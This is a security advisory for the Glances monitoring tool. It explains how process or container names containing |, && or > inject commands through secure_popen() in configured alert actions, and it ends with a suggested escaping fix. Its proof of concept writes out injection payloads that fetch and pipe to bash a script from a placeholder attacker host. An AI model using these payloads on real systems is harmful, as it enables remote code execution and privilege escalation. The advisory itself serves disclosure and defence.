Summary

The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.

Details

The action execution flow:

1. Admin configures an action in glances.conf (documented feature):

[cpu]
critical_action=echo "High CPU on {{name}}" | mail admin@example.com

2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):

self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)

3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).

4. In glances/actions.py:77-78, the Mustache library renders the template:

if chevron_tag:
    cmd_full = chevron.render(cmd, mustache_dict)

5. The rendered command is passed to secure_popen() (glances/actions.py:84):

ret = secure_popen(cmd_full)

The secure_popen vulnerability (glances/secure.py:17-30):

def secure_popen(cmd):
    ret = ""
    for c in cmd.split("&&"):
        ret += __secure_popen(c)
    return ret

And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.

Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:

if stdout_redirect is not None:
    with open(stdout_redirect, "w") as stdout_redirect_file:
        stdout_redirect_file.write(ret)

PoC

Scenario 1: Command injection via pipe in process name

# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log

# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &

# 3. When the process triggers a critical alert, secure_popen splits by |:
#   Command 1: echo "ALERT: innocent
#   Command 2: curl attacker.com/evil.sh   <-- INJECTED
#   Command 3: bash used 99% CPU" >> /tmp/alerts.log

Scenario 2: Command chain via && in container name

# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream

# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx

# 3. secure_popen splits by &&:
#   Command 1: docker stats web
#   Command 2: curl attacker.com/rev.sh | bash   <-- INJECTED
#   Command 3: echo --no-stream

Impact

• Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).

• Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.

• Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.

• Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.

Recommended Fix

Sanitize Mustache-rendered values before secure_popen processes them:

# glances/actions.py

def _escape_for_secure_popen(value):
    """Escape characters that secure_popen treats as operators."""
    if not isinstance(value, str):
        return value
    value = value.replace("&&", " ")
    value = value.replace("|", " ")
    value = value.replace(">", " ")
    return value

def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
    for cmd in commands:
        if chevron_tag:
            if mustache_dict:
                safe_dict = {
                    k: _escape_for_secure_popen(v) if isinstance(v, str) else v
                    for k, v in mustache_dict.items()
                }
            else:
                safe_dict = mustache_dict
            cmd_full = chevron.render(cmd, safe_dict)
        else:
            cmd_full = cmd
        ...